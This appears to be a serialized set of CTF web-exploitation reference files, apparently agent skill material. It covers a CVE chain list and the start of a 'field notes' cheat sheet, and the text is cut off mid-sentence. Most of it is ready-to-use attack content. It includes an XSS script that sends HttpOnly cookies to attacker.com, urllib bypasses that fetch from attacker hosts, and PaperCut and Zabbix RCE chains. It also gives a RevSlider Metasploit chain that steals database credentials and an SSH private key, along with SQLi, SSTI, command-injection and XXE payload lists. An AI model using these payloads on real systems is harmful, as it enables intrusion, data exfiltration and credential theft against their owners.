Content-Security-Policy\n2. **Cache poisoning** — break header/body boundary, Nginx caches attacker content\n3. **XSS** — `\\r\\n\\r\\n` terminates headers, rest becomes response body\n\n```python\npayload = {\"headers\": {\"lol\\r\\n\\r\\n\u003cscript>evil()\u003c/script>\": \"x\"}}\nrequests.get(f'{HOST}/api/health', params={\"test\": json.dumps(payload)})\n```\n\n**Detection:** FastAPI/Uvicorn backend + endpoint reflecting user input in response headers.\n\n---\n\n## Python urllib Scheme Validation Bypass (0-Day)\n\n**Affected:** Python `urllib` — `urlsplit` vs `urlretrieve` inconsistency.\n\n`urlsplit(\"\u003cURL:http://attacker.com/evil>\").scheme` returns `\"\"` (empty), but `urlretrieve` still fetches it as HTTP.\n\n```python\n# App blocks http/https via urlsplit:\nparsed = urlsplit(user_url)\nif parsed.scheme in ['http', 'https']: raise Exception(\"Blocked\")\n# Bypass: \u003cURL:http://attacker.com/malicious.so>\n# Also: %0ahttp://attacker.com/malicious.so (newline prefix)\n```\n\nLegacy `\u003cURL:...>` format from RFC 1738.\n\n---\n\n## Chrome Referrer Leak via Link Header (2025)\n\n```http\nHTTP/1.1 200 OK\nLink: \u003chttps://exfil.com/log>; rel=\"preload\"; as=\"image\"; referrerpolicy=\"unsafe-url\"\n```\n\nChrome fetches linked resource with full referrer URL → leaks tokens from `/auth/callback?token=secret`.\n\n---\n\n## TCP Packet Splitting (Firewall Bypass)\n\nSplit blocked keywords across TCP packet boundaries:\n```python\ns = socket.socket(); s.connect((host, port))\ns.send(b\"GET /fla\")\ns.send(b\"g.html HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\nRange: bytes=135-\\r\\n\\r\\n\")\n```\n\n---\n\n## Puppeteer/Chrome JavaScript Bypass\n\n`page.setJavaScriptEnabled(false)` only affects current context. `window.open()` from iframe → new window has JS enabled.\n\n---\n\n## Python python-dotenv Injection\n\nEscape sequences and newlines in values:\n```text\nbackup_server=x\\'\\nEVIL_VAR=malicious_value\\n\\'\n```\nChain with `PYTHONWARNINGS=ignore::antigravity.Foo::0` + `BROWSER=/bin/sh -c \"cat /flag\" %s` for RCE.\nSee ctf-misc/pyjails.md for PYTHONWARNINGS technique details.\n\n---\n\n## HTTP Request Splitting via RFC 2047\n\nCherryPy decodes RFC 2047 headers → CRLF injection:\n```python\npayload = b\"value\\r\\n\\r\\nGET /second HTTP/1.1\\r\\nHost: backend\\r\\n\"\nencoded = f\"=?ISO-8859-1?B?{base64.b64encode(payload).decode()}?=\"\n```\n\n---\n\n## Waitress WSGI Cookie Exfiltration\n\nInvalid HTTP method echoed in error response. CRLF splits request, cookie value lands at method position, error echoes it.\n\n---\n\n## Deno Import Map Hijacking\n\nDeno v1.18+ auto-discovers `deno.json`. Via prototype pollution:\n```javascript\n({}).__proto__[\"deno.json\"] = '{\"importMap\": \"https://evil.com/map.json\"}'\n```\n\n---\n\n## CVE-2025-8110: Gogs Symlink RCE\n\nSee [server-side.md](server-side.md) for full details.\n\n---\n\n## CVE-2021-22204: ExifTool DjVu Perl Injection\n\n**Affected:** ExifTool ≤ 12.23. DjVu ANTa annotation chunk parsed with Perl `eval`. Craft minimal DjVu with injected metadata to achieve RCE on any endpoint processing images with ExifTool.\n\nSee [server-side-advanced.md](server-side-advanced.md#exiftool-cve-2021-22204--djvu-perl-injection-0xfun-2026) for full exploit code.\n\n---\n\n## Broken Auth via Truthy Hash Check (0xFun 2026)\n\n**Pattern:** `sha256().hexdigest()` returns non-empty string (truthy in Python). Auth function checks `if sha256(...)` which is always True — the actual hash comparison is missing entirely.\n\n**Detection:** Look for `if hash_function(...)` instead of `if hash_function(...) == expected`.\n\n---\n\n## AAEncode/JJEncode JS Deobfuscation (0xFun 2026)\n\nJS obfuscation that ultimately calls `Function(...)()`. Override `Function.prototype.constructor` to intercept:\n```javascript\nFunction.prototype.constructor = function(code) {\n console.log(\"Decoded:\", code);\n return function() {};\n};\n```\n\n**AAEncode:** Japanese Unicode characters. **JJEncode:** `$=~[]` pattern. Both reduce to `Function(decoded_string)()`.\n\n---\n\n## Protocol Multiplexing — SSH+HTTP on Same Port (0xFun 2026)\n\nServer distinguishes SSH from HTTP by first bytes. When challenge mentions \"fewer ports\", try `ssh -p \u003chttp_port> user@host`. Credentials may be hidden in HTML comments.\n\n---\n\n## CVE-2024-28184: WeasyPrint Attachment SSRF / File Read\n\n**Affected:** WeasyPrint (multiple versions)\n\n**Vulnerability:** WeasyPrint processes `\u003ca rel=\"attachment\">` and `\u003clink rel=\"attachment\">` tags, fetching referenced URLs and embedding results as PDF attachments. Internal header checks (e.g., `X-Fetcher`) are NOT applied to attachment fetches.\n\n**Attack vectors:**\n1. **SSRF:** `\u003ca rel=\"attachment\" href=\"http://127.0.0.1/admin/flag\">` -- fetches from localhost, bypasses IP restrictions\n2. **Local file read:** `\u003clink rel=\"attachment\" href=\"file:///flag.txt\">` -- embeds local files in PDF\n3. **Blind oracle:** Attachment only appears in PDF if target returns 200 -- use presence of `/Type /EmbeddedFile` as boolean oracle\n\n**Extraction:**\n```bash\npdfdetach -list output.pdf # List embedded files\npdfdetach -save 1 -o flag.txt output.pdf # Extract\n```\n\n**Detection:** URL-to-PDF conversion feature, WeasyPrint in `requirements.txt` or `Pipfile`.\n\n---\n\n## CVE-2025-55182 / CVE-2025-66478: React Server Components Flight Protocol RCE\n\n**Affected:** React Server Components / Next.js (Flight protocol deserialization). A crafted fake Flight chunk exploits the constructor chain (`constructor → constructor → Function`) for arbitrary server-side JavaScript execution. Identify via `Next-Action` + `Accept: text/x-component` headers. Also reported as CVE-2025-66478 with an alternate prototype chain variant (`__proto__:then` instead of `constructor:constructor`).\n\nSee [server-side-advanced-4.md](server-side-advanced-4.md#react-server-components-flight-protocol-rce-ehax-2026) for full exploit chain.\n\n---\n\n## CVE-2024-45409: Ruby-SAML XPath Digest Smuggling (Barrier HTB)\n\n**Affected:** GitLab 17.3.2 (ruby-saml library)\n\nExploits XPath ambiguity in ruby-saml's signature verification to forge SAML (Security Assertion Markup Language) assertions claiming arbitrary user identity.\n\n**Attack chain:**\n1. Extract IdP (Identity Provider) metadata signature from the legitimate SAML response\n2. Craft assertion claiming target user (e.g., `akadmin`)\n3. Set assertion ID to match metadata reference URI\n4. Compute correct digest and place in `StatusDetail` element — XPath finds this smuggled digest instead of the original\n5. Submit forged response to `/users/auth/saml/callback`\n\n**Detection:** GitLab \u003c 17.3.3 with SAML SSO enabled.\n\n---\n\n## CVE-2023-27350: PaperCut NG Authentication Bypass + RCE (Bamboo HTB)\n\n**Affected:** PaperCut NG \u003c 22.0.9 (CVSS 9.8)\n\n**Attack chain:**\n1. Hit `/app?service=page/SetupCompleted` for unauthenticated admin session\n2. Enable `print-and-device.script.enabled`, disable `print.script.sandboxed` via Config Editor\n3. Inject RhinoJS script in printer settings for RCE:\n```javascript\njava.lang.Runtime.getRuntime().exec([\"/bin/bash\", \"-c\", \"CMD\"])\n```\n4. Exfiltrate output via HTTP callback with base64 encoding\n5. Access internal services via Squid proxy:\n```bash\ncurl -x http://TARGET:3128 http://127.0.0.1:9191/app\n```\n\n**Key insight:** The SetupCompleted endpoint grants full admin access without credentials. Chain with Squid proxy to reach internal services.\n\n---\n\n## CVE-2024-22120: Zabbix Time-Based Blind SQLi (Watcher HTB)\n\n**Affected:** Zabbix (audit log functionality via trapper port 10051)\n\nExploits unsanitized `clientip` field in Zabbix trapper protocol to achieve time-based blind SQL injection, then escalates to RCE via Zabbix API.\n\n**Attack chain:**\n1. Log in to Zabbix frontend as guest, decode base64 cookie to extract `sessionid`\n2. Send crafted `clientip` field via trapper port 10051 for time-based blind SQLi\n3. Extract admin session ID character-by-character via sleep timing\n4. Authenticate to Zabbix API with stolen admin session\n5. Achieve RCE via `script.create` + `script.execute` API calls\n\n**Key insight:** `\\r` (carriage return) in exploit script output can leave visual artifacts. Verify extracted session ID is exactly 32 hex characters before using it.\n\n**Detection:** Zabbix with trapper port 10051 exposed. Audit log functionality enabled.\n\n---\n\n## CVE-2012-0053: Apache HttpOnly Cookie Leak via 400 Bad Request (RC3 CTF 2016)\n\nApache 2.2.x (before 2.2.22) reflects cookies in 400 Bad Request error pages, bypassing HttpOnly flag protection. Chain with XSS to exfiltrate session cookies.\n\n```javascript\n// XSS payload to trigger Apache 400 error and leak HttpOnly cookies\n// Works on Apache 2.2.0 - 2.2.21\n\n// Step 1: Inflate cookie header to exceed Apache's limit (triggers 400)\nvar xhr = new XMLHttpRequest();\ndocument.cookie = \"padding=\" + \"A\".repeat(4000);\n\n// Step 2: Request to the vulnerable Apache server\nxhr.open(\"GET\", \"http://target:8080/\", true);\nxhr.withCredentials = true;\nxhr.onreadystatechange = function() {\n if (xhr.readyState == 4) {\n // 400 response body contains ALL cookies including HttpOnly ones\n var cookies = xhr.responseText.match(/Cookie:.*$/m);\n // Exfiltrate to attacker\n new Image().src = \"http://attacker.com/steal?c=\" + encodeURIComponent(cookies);\n }\n};\nxhr.send();\n```\n\n**Key insight:** Apache 2.2.x before 2.2.22 included the full Cookie header in 400 Bad Request HTML responses, including HttpOnly cookies. Combined with XSS on the same origin, this defeats HttpOnly protection entirely. Check server version headers for vulnerable Apache instances.\n\n---\n\n## CVE-2014-9734: WordPress RevSlider Upload + MySQL load_file() SSH Pivot (TAMUctf 2019)\n\n**Affected:** WordPress Slider Revolution (RevSlider) plugin `\u003c= 3.0.95` — arbitrary file upload via `update_plugin` admin-ajax action, exploitable unauthenticated.\n\n**Version fingerprint:** Fetch `/wp-content/plugins/revslider/release_log.txt` — the plugin writes its version there even when the admin UI is locked down.\n\n```bash\n# 1. RCE via RevSlider upload (Metasploit module)\nmsfconsole -q -x \"use exploit/unix/webapp/wp_revslider_upload_execute; \\\n set RHOSTS 172.30.0.3; set LHOST tun0; exploit\"\n\n# 2. From the meterpreter shell, steal DB creds from wp-config.php\ncat /var/www/wp-config.php | grep -E \"DB_(NAME|USER|PASSWORD|HOST)\"\n# -> DB_USER='wordpress', DB_PASSWORD='0NYa6PBH52y86C', DB_HOST='172.30.0.2'\n\n# 3. Pivot: connect as the DB user and read any world-readable file with load_file()\nmysql -h 172.30.0.2 -u wordpress --password='0NYa6PBH52y86C' \\\n -e \"SELECT load_file('/backup/id_rsa')\"\n# (requires FILE privilege, granted to the WP user on older default stacks)\n\n# 4. Use the exfiltrated key to SSH into the target as root\nchmod 400 rsa.key\nssh -i rsa.key [email protected]\n```\n\n**Key insight:** RCE via plugin upload is rarely the end — extract `wp-config.php` DB creds, connect to the database, and `load_file()` to read any world-readable file (private SSH keys under `/backup/`, `/root/.ssh/`, `/home/*/.ssh/`, CI secrets, etc.), then SSH pivot to the real target box. The WP user almost always has FILE privilege on CTF setups. Exploits to chain with a single file-upload: `wp_revslider_upload_execute`, `wp_admin_shell_upload`, `wp_asset_manager_upload_exec`, `wp_symposium_shell_upload`.\n\n**References:** TAMUctf 2019 — Wordpress, writeup 13593. Rapid7 module `exploit/unix/webapp/wp_revslider_upload_execute`.\n\n---\n\n## Detection Checklist\n\n1. **Framework versions** in `package.json`, `requirements.txt`, `Dockerfile`\n2. **ASGI/WSGI server** (Uvicorn, Waitress) for CRLF/header issues\n3. **curl usage** with `.netrc` or redirect handling\n4. **Firewall/WAF** inspection patterns (TCP packet splitting)\n5. **dotenv** or environment variable handling\n6. **urllib** scheme validation (check for `\u003cURL:...>` bypass)\n7. **Node.js libraries** — see [node-and-prototype.md](node-and-prototype.md) for full list\n8. **GitLab with SAML SSO** — check version for ruby-saml CVE-2024-45409\n9. **PaperCut NG** — check for `/app?service=page/SetupCompleted` unauthenticated access\n10. **Zabbix trapper port** (10051) — audit log SQLi via `clientip` field\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":16014,"content_sha256":"64aeeaa1cff5c9709e159e1e2e6b1aa8ed42d557903660911eafee1131dfefa1"},{"filename":"field-notes.md","content":"# CTF Web Field Notes\n\nLong-form exploit notes that were moved out of `SKILL.md` so the main skill can stay focused on routing and first-pass execution.\n\n## Table of Contents\n\n- [Reconnaissance](#reconnaissance)\n- [SQL Injection Quick Reference](#sql-injection-quick-reference)\n- [XSS Quick Reference](#xss-quick-reference)\n- [XSSI via JSONP Callback Exfiltration](#xssi-via-jsonp-callback-exfiltration)\n- [Path Traversal / LFI Quick Reference](#path-traversal--lfi-quick-reference)\n- [JWT Quick Reference](#jwt-quick-reference)\n- [SSTI Quick Reference](#ssti-quick-reference)\n- [Python str.format() Attribute Traversal (PlaidCTF 2017)](#python-strformat-attribute-traversal-plaidctf-2017)\n- [SSRF Quick Reference](#ssrf-quick-reference)\n- [Command Injection Quick Reference](#command-injection-quick-reference)\n- [XXE Quick Reference](#xxe-quick-reference)\n- [PHP Type Juggling Quick Reference](#php-type-juggling-quick-reference)\n- [PHP File Inclusion / LFI Quick Reference](#php-file-inclusion--lfi-quick-reference)\n- [Code Injection Quick Reference](#code-injection-quick-reference)\n- [Java Deserialization](#java-deserialization)\n- [Python Pickle Deserialization](#python-pickle-deserialization)\n- [Race Conditions (Time-of-Check to Time-of-Use)](#race-conditions-time-of-check-to-time-of-use)\n- [Node.js Quick Reference](#nodejs-quick-reference)\n- [Auth & Access Control Quick Reference](#auth--access-control-quick-reference)\n- [Apache CVE-2012-0053 HttpOnly Cookie Leak](#apache-cve-2012-0053-httponly-cookie-leak)\n- [Apache mod_status Information Disclosure](#apache-mod_status-information-disclosure)\n- [Open Redirect Chains](#open-redirect-chains)\n- [Subdomain Takeover](#subdomain-takeover)\n- [File Upload to RCE](#file-upload-to-rce)\n- [Multi-Stage Chain Patterns](#multi-stage-chain-patterns)\n- [Flask/Werkzeug Debug Mode](#flaskwerkzeug-debug-mode)\n- [XXE with External DTD Filter Bypass](#xxe-with-external-dtd-filter-bypass)\n- [JSFuck Decoding](#jsfuck-decoding)\n- [DOM XSS via jQuery Hashchange (Crypto-Cat)](#dom-xss-via-jquery-hashchange-crypto-cat)\n- [Shadow DOM XSS](#shadow-dom-xss)\n- [DOM Clobbering + MIME Mismatch](#dom-clobbering--mime-mismatch)\n- [HTTP Request Smuggling via Cache Proxy](#http-request-smuggling-via-cache-proxy)\n- [Path Traversal: URL-Encoded Slash Bypass](#path-traversal-url-encoded-slash-bypass)\n- [WeasyPrint SSRF & File Read (CVE-2024-28184)](#weasyprint-ssrf--file-read-cve-2024-28184)\n- [MongoDB Regex / $where Blind Injection](#mongodb-regex--where-blind-injection)\n- [Pongo2 / Go Template Injection](#pongo2--go-template-injection)\n- [ZIP Upload with PHP Webshell](#zip-upload-with-php-webshell)\n- [basename() Bypass for Hidden Files](#basename-bypass-for-hidden-files)\n- [Custom Linear MAC Forgery](#custom-linear-mac-forgery)\n- [CSS/JS Paywall Bypass](#cssjs-paywall-bypass)\n- [SSRF to Docker API RCE Chain](#ssrf-to-docker-api-rce-chain)\n- [Castor XML Deserialization via xsi:type (Atlas HTB)](#castor-xml-deserialization-via-xsitype-atlas-htb)\n- [Apache ErrorDocument Expression File Read (Zero HTB)](#apache-errordocument-expression-file-read-zero-htb)\n- [HTTP TRACE Method Bypass](#http-trace-method-bypass)\n- [LLM/AI Chatbot Jailbreak](#llmai-chatbot-jailbreak)\n- [Admin Bot javascript: URL Scheme Bypass](#admin-bot-javascript-url-scheme-bypass)\n- [XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty)](#xs-leak-via-image-load-timing--graphql-csrf-htb-grandmonty)\n- [React Server Components Flight Protocol RCE (Ehax 2026)](#react-server-components-flight-protocol-rce-ehax-2026)\n- [Unicode Case Folding XSS Bypass (UNbreakable 2026)](#unicode-case-folding-xss-bypass-unbreakable-2026)\n- [CSS Font Glyph + Container Query Data Exfiltration (UNbreakable 2026)](#css-font-glyph--container-query-data-exfiltration-unbreakable-2026)\n- [Hyperscript / Alpine.js CDN CSP Bypass (UNbreakable 2026)](#hyperscript--alpinejs-cdn-csp-bypass-unbreakable-2026)\n- [Solidity Transient Storage Clearing Collision (0.8.28-0.8.33)](#solidity-transient-storage-clearing-collision-0828-0833)\n- [Chrome Unicode URL Normalization Bypass (RCTF 2017)](#chrome-unicode-url-normalization-bypass-rctf-2017)\n- [CSP Nonce Bypass via base Tag Hijacking (BSidesSF 2026)](#csp-nonce-bypass-via-base-tag-hijacking-bsidessf-2026)\n- [JA4/JA4H TLS Fingerprint Matching (BSidesSF 2026)](#ja4ja4h-tls-fingerprint-matching-bsidessf-2026)\n- [Client-Side HMAC Bypass via Leaked JS Secret (Codegate 2013)](#client-side-hmac-bypass-via-leaked-js-secret-codegate-2013)\n- [SQLi Keyword Fragmentation Bypass (SecuInside 2013)](#sqli-keyword-fragmentation-bypass-secuinside-2013)\n- [Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013)](#pickle-chaining-via-stop-opcode-stripping-volgactf-2013)\n- [XPath Blind Injection (BaltCTF 2013)](#xpath-blind-injection-baltctf-2013)\n- [SQLite File Path Traversal to Bypass String Equality (Codegate 2013)](#sqlite-file-path-traversal-to-bypass-string-equality-codegate-2013)\n- [PHP Serialization Length Manipulation via Filter Word Expansion (0CTF 2016)](#php-serialization-length-manipulation-via-filter-word-expansion-0ctf-2016)\n- [CSP Bypass via link prefetch (Boston Key Party 2016)](#csp-bypass-via-link-prefetch-boston-key-party-2016)\n- [XML Injection via X-Forwarded-For Header (Pwn2Win 2016)](#xml-injection-via-x-forwarded-for-header-pwn2win-2016)\n- [Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016)](#base64-decode-leniency-and-parameter-override-for-signature-bypass-bctf-2016)\n- [Common Flag Locations](#common-flag-locations)\n\n## Reconnaissance\n\n- View source for HTML comments, check JS/CSS files for internal APIs\n- Look for `.map` source map files\n- Check response headers for custom X- headers and auth hints\n- Common paths: `/robots.txt`, `/sitemap.xml`, `/.well-known/`, `/admin`, `/api`, `/debug`, `/.git/`, `/.env`\n- Search JS bundles: `grep -oE '\"/api/[^\"]+\"'` for hidden endpoints\n- Check for client-side validation that can be bypassed\n- Compare what the UI sends vs. what the API accepts (read JS bundle for all fields)\n- Check assets returning 404 status — `favicon.ico`, `robots.txt` may contain data despite error codes: `strings favicon.ico | grep -i flag`\n- Tor hidden services: `feroxbuster -u 'http://target.onion/' -w wordlist.txt --proxy socks5h://127.0.0.1:9050 -t 10 -x .txt,.html,.bak`\n\n## SQL Injection Quick Reference\n\n**Detection:** Send `'` — syntax error indicates SQLi\n\n```sql\n' OR '1'='1 # Classic auth bypass\n' OR 1=1-- # Comment termination\nusername=\\&password= OR 1=1-- # Backslash escape quote bypass\n' UNION SELECT sql,2,3 FROM sqlite_master-- # SQLite schema\n0x6d656f77 # Hex encoding for 'meow' (bypass quotes)\n```\n\nWAF bypasses: XML entity encoding (`UNION`), EXIF metadata injection (`exiftool -Comment=\"' UNION SELECT...\"`), Shift-JIS `\\u00a5`→`0x5c` backslash, QR code payload injection, double-keyword nesting (`selselectect`). See [sql-injection.md](sql-injection.md) for all techniques.\n\nMySQL session variable dual-value injection: `@var:=` assigns return different values across sequential queries in one connection. PHP PCRE backtrack limit WAF bypass: 1M+ chars cause `preg_match()` to return `false`, passing `!false`. `information_schema.processlist` race condition leaks secrets from concurrent queries. See [sql-injection.md](sql-injection.md).\n\nSee [server-side-exec.md](server-side-exec.md) for PHP preg_replace /e RCE and Prolog injection. See [server-side-exec-2.md](server-side-exec-2.md) for SQLi via DNS records and SQLi keyword fragmentation.\n\n## XSS Quick Reference\n\n```html\n\u003cscript>alert(1)\u003c/script>\n\u003cimg src=x onerror=alert(1)>\n\u003csvg onload=alert(1)>\n```\n\nFilter bypass: hex `\\x3cscript\\x3e`, entities `<script>`, case mixing `\u003cScRiPt>`, event handlers.\n- **XSS dot-filter bypass:** Decimal IP (`1558071511` = `92.123.45.67`) eliminates dots from URLs. JavaScript bracket notation (`document[\"cookie\"]`) replaces dot property access. See [client-side-advanced.md](client-side-advanced.md#xss-dot-filter-bypass-via-decimal-ip-and-bracket-notation-33c3-ctf-2016).\n- **Cross-origin cookie XSS:** Set cookie with `domain=.parent.tld` from one subdomain to inject XSS payload rendered on a sibling subdomain. See [client-side-advanced.md](client-side-advanced.md#cross-origin-xss-via-shared-parent-domain-cookie-injection-0ctf-2017).\n- **AngularJS 1.x sandbox escape:** Override `String.prototype.charAt` with `trim` to bypass AngularJS expression sandbox, then `$eval` arbitrary JS. See [client-side.md](client-side.md#angularjs-1x-sandbox-escape-via-charattrim-override-google-ctf-2017).\n\nSee [client-side.md](client-side.md) for DOMPurify bypass, cache poisoning, CSPT, React input tricks.\n\n## XSSI via JSONP Callback Exfiltration\n\nJSONP endpoint (`?callback=func`) wraps sensitive data in a function call. Load cross-origin via `\u003cscript src>` with custom callback to exfiltrate. Chain: SHA1 cookie inversion -> IDOR on debug endpoint -> XSSI -> cloud function OOB. See [client-side-advanced.md](client-side-advanced.md#xssi-via-jsonp-callback-with-cloud-function-exfiltration-bsidessf-2026).\n\n## Path Traversal / LFI Quick Reference\n\n```text\n../../../etc/passwd\n....//....//....//etc/passwd # Filter bypass\n..%2f..%2f..%2fetc/passwd # URL encoding\n%252e%252e%252f # Double URL encoding\n{.}{.}/flag.txt # Brace stripping bypass\n```\n\n**Windows 8.3 short filename bypass:** `FILEFO~1.EXT` short names bypass path filters that check the long filename. See [server-side-advanced-2.md](server-side-advanced-2.md#windows-83-short-filename-path-traversal-bypass-tokyo-westerns-2016).\n\n**URL parse_url @ bypass:** `http://[email protected]/` -- PHP `parse_url()` extracts `attacker.com` as host, bypassing domain checks. See [server-side-advanced-2.md](server-side-advanced-2.md#url-parse_url--symbol-bypass-ekoparty-ctf-2016).\n- **SSRF double-@ parse discrepancy:** `http://x:[email protected]:[email protected]/path` — `parse_url()` sees `allowed.host`, curl connects to `127.0.0.1`. Distinct from single-@ bypass. See [server-side-advanced-2.md](server-side-advanced-2.md#ssrf-via-parse_urlcurl-url-parsing-discrepancy-33c3-ctf-2016).\n\n**/dev/fd symlink bypass:** When `/proc` is blacklisted, use `/dev/fd/../environ` -- `/dev/fd` symlinks to `/proc/self/fd`, so `../` reaches `/proc/self/`. See [server-side-advanced.md](server-side-advanced.md#devfd-symlink-to-bypass-proc-filter-google-ctf-2017).\n\n**Python footgun:** `os.path.join('/app/public', '/etc/passwd')` returns `/etc/passwd`\n\n## JWT Quick Reference\n\n1. `alg: none` — remove signature entirely\n2. Algorithm confusion (RS256→HS256) — sign with public key\n3. Weak secret — brute force with hashcat/flask-unsign\n4. Key exposure — check `/api/getPublicKey`, `.env`, `/debug/config`\n5. Balance replay — save JWT, spend, replay old JWT, return items for profit\n6. Unverified signature — modify payload, keep original signature\n7. JWK header injection — embed attacker public key in token header\n8. JKU header injection — point to attacker-controlled JWKS URL\n9. KID path traversal — `../../../dev/null` for empty key, or SQL injection in KID\n\nSee [auth-jwt.md](auth-jwt.md) for full JWT/JWE attacks and session manipulation.\n\n## SSTI Quick Reference\n\n**Detection:** `{{7*7}}` returns `49`\n\n```python\n# Jinja2 RCE\n{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}\n# Go template\n{{.ReadFile \"/flag.txt\"}}\n# EJS\n\u003c%- global.process.mainModule.require('child_process').execSync('id') %>\n# Jinja2 quote bypass (keyword args):\n{{obj.__dict__.update(attr=value) or obj.name}}\n```\n\n**Mako SSTI (Python):** `${__import__('os').popen('id').read()}` — no sandbox, plain Python inside `${}` or `\u003c% %>`. **Twig SSTI (PHP):** `{{['id']|map('system')|join}}` — distinguish from Jinja2 via `{{7*'7'}}` (Twig repeats string, Jinja2 returns 49). See [server-side.md](server-side.md#mako-ssti) and [server-side.md](server-side.md#twig-ssti).\n\n**Quote filter bypass:** Use `__dict__.update(key=value)` — keyword arguments need no quotes. See [server-side.md](server-side.md#ssti-quote-filter-bypass-via-__dict__update-apoorvctf-2026).\n\n**ERB SSTI (Ruby/Sinatra):** `\u003c%= Sequel::DATABASES.first[:table].all %>` bypasses ERBSandbox variable-name restrictions via the global `Sequel::DATABASES` array. See [server-side.md](server-side.md#erb-ssti--sequeldatabases-bypass-bearcatctf-2026).\n\n## Python str.format() Attribute Traversal (PlaidCTF 2017)\n\nPython `str.format()` allows dot-notation attribute traversal (`{0.attr.subattr}`) and bracket indexing (`{0[key]}`). When user input reaches `.format(obj)`, leak arbitrary attributes without a template engine. Distinct from SSTI. See [server-side.md](server-side.md#python-strformat-attribute-traversal-plaidctf-2017).\n\n**Thymeleaf SpEL SSTI (Java/Spring):** `${T(org.springframework.util.FileCopyUtils).copyToByteArray(new java.io.File(\"/flag.txt\"))}` reads files via Spring utility classes when standard I/O is WAF-blocked. Works in distroless containers (no shell). See [server-side-exec.md](server-side-exec.md#thymeleaf-spel-ssti--spring-filecopyutils-waf-bypass-apoorvctf-2026).\n\n## SSRF Quick Reference\n\n```text\n127.0.0.1, localhost, 127.1, 0.0.0.0, [::1]\n127.0.0.1.nip.io, 2130706433, 0x7f000001\n```\n\nDNS rebinding for TOCTOU: https://lock.cmpxchg8b.com/rebinder.html\n\n**Host header SSRF:** Server builds internal request URL from `Host` header (e.g., `http.Get(\"http://\" + request.Host + \"/validate\")`). Set Host to attacker domain → validation request goes to attacker server. See [server-side.md](server-side.md#host-header-ssrf-mireactf).\n\n**ElasticSearch Groovy RCE via SSRF:** SSRF to internal ES on port 9200 enables RCE through `script_fields` Groovy scripting (pre-5.0). See [server-side-advanced-2.md](server-side-advanced-2.md#elasticsearch-groovy-script_fields-rce-via-ssrf-volgactf-2017).\n\n## Command Injection Quick Reference\n\n```bash\n; id | id `id` $(id)\n%0aid # Newline 127.0.0.1%0acat /flag\n```\n\nWhen cat/head blocked: `sed -n p flag.txt`, `awk '{print}'`, `tac flag.txt`\n\n**Bash brace expansion (space-free injection):** `{ls,-la,..}` expands to `ls -la ..` without literal spaces. See [server-side-exec-2.md](server-side-exec-2.md#bash-brace-expansion-for-space-free-command-injection-insomnihack-2016).\n\n**Git CLI newline injection:** `%0a` in URL path breaks out of backtick/system() shell calls that only filter `;|&\u003c>`. See [server-side.md](server-side-2.md#git-cli-newline-injection-via-url-path-bsidessf-2026).\n\n## XXE Quick Reference\n\n```xml\n\u003c?xml version=\"1.0\"?>\n\u003c!DOCTYPE foo [\u003c!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>\n\u003croot>&xxe;\u003c/root>\n```\n\nPHP filter: `\u003c!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/flag.txt\">`\n\n**XXE in DOCX uploads:** DOCX is ZIP+XML; inject XXE in `[Content_Types].xml` inside the archive. See [server-side.md](server-side-2.md#xxe-via-docxoffice-xml-upload-school-ctf-2016).\n\n## PHP Type Juggling Quick Reference\n\nLoose `==` performs type coercion: `0 == \"string\"` is `true`, `\"0e123\" == \"0e456\"` is `true` (magic hashes). Send JSON integer `0` to bypass string password checks. `strcmp([], \"str\")` returns `NULL` which passes `!strcmp()`. Use `===` for defense.\n\nSee [server-side.md](server-side.md#php-type-juggling) for comparison table and exploit payloads.\n\n## PHP File Inclusion / LFI Quick Reference\n\n`php://filter/convert.base64-encode/resource=config` leaks PHP source code without execution. Common LFI targets: `/etc/passwd`, `/proc/self/environ`, app config files. Null byte (`%00`) truncates `.php` suffix on PHP \u003c 5.3.4.\n\nSee [server-side.md](server-side.md#php-file-inclusion--phpfilter) for filter chains and RCE techniques.\n\n## Code Injection Quick Reference\n\n**Ruby `instance_eval`:** Break string + comment: `VALID');INJECTED_CODE#`\n**Perl `open()`:** 2-arg open allows pipe: `|command|`\n**JS `eval` blocklist bypass:** `row['con'+'structor']['con'+'structor']('return this')()`\n**PHP deserialization:** Craft serialized object in cookie → LFI/RCE\n**LaTeX injection:** `\\input{|\"cat /flag.txt\"}` — shell command via pipe syntax in PDF generation services. `\\@@input\"/etc/passwd\"` for file reads without shell.\n- **LaTeX restricted write18 bypass:** When `write18` is restricted, `mpost -ini \"-tex=bash -c (cmd)\" file.mp` uses mpost's whitelisted status to execute arbitrary commands. `${IFS}` replaces spaces. See [server-side-advanced-2.md](server-side-advanced-2.md#latex-rce-via-mpost-restricted-write18-bypass-33c3-ctf-2016).\n\n**PHP backtick eval (character limit):** `` echo`cat *`; `` -- PHP backticks = `shell_exec()`, fits RCE in as few as 8 chars. Use `` `$_GET[0]`; `` to move payload to URL parameter. See [server-side-exec.md](server-side-exec.md#php-backtick-eval-under-character-limit-easyctf-2017).\n**PHP assert() injection:** `assert(\"strpos('$input', '..') === false\")` — inject `') || system('cmd');//` for RCE (PHP \u003c 7.2). See [server-side-exec.md](server-side-exec.md#php-assert-string-evaluation-injection-csaw-ctf-2016).\n**Common Lisp `read` injection:** `#.(run-shell-command \"cat /flag\")` — reader macro evaluates at parse time. See [server-side-exec-2.md](server-side-exec-2.md#common-lisp-injection-via-reader-macro-insomnihack-2016).\n**Ruby ObjectSpace scanning:** `ObjectSpace.each_object(String)` dumps all in-memory strings including flag. See [server-side-exec.md](server-side-exec.md#ruby-objectspace-memory-scanning-for-flag-extraction-tokyo-westerns-2016).\n\nSee [server-side-exec.md](server-side-exec.md) for full payloads and bypass techniques.\n\n## Java Deserialization\n\nSerialized Java objects (`rO0AB` / `aced0005`) + ysoserial gadget chains → RCE via `ObjectInputStream.readObject()`. Try `CommonsCollections1-7`, `URLDNS` for blind detection. See [server-side-deser.md](server-side-deser.md#java-deserialization-ysoserial).\n\n## Python Pickle Deserialization\n\n`pickle.loads()` calls `__reduce__()` → `(os.system, ('cmd',))` instant RCE. Also via `yaml.load()`, `torch.load()`, `joblib.load()`. See [server-side-deser.md](server-side-deser.md#python-pickle-deserialization).\n\n## Race Conditions (Time-of-Check to Time-of-Use)\n\nConcurrent requests bypass check-then-act patterns (balance, coupons, registration). Send 50 simultaneous requests — all see pre-modification state. See 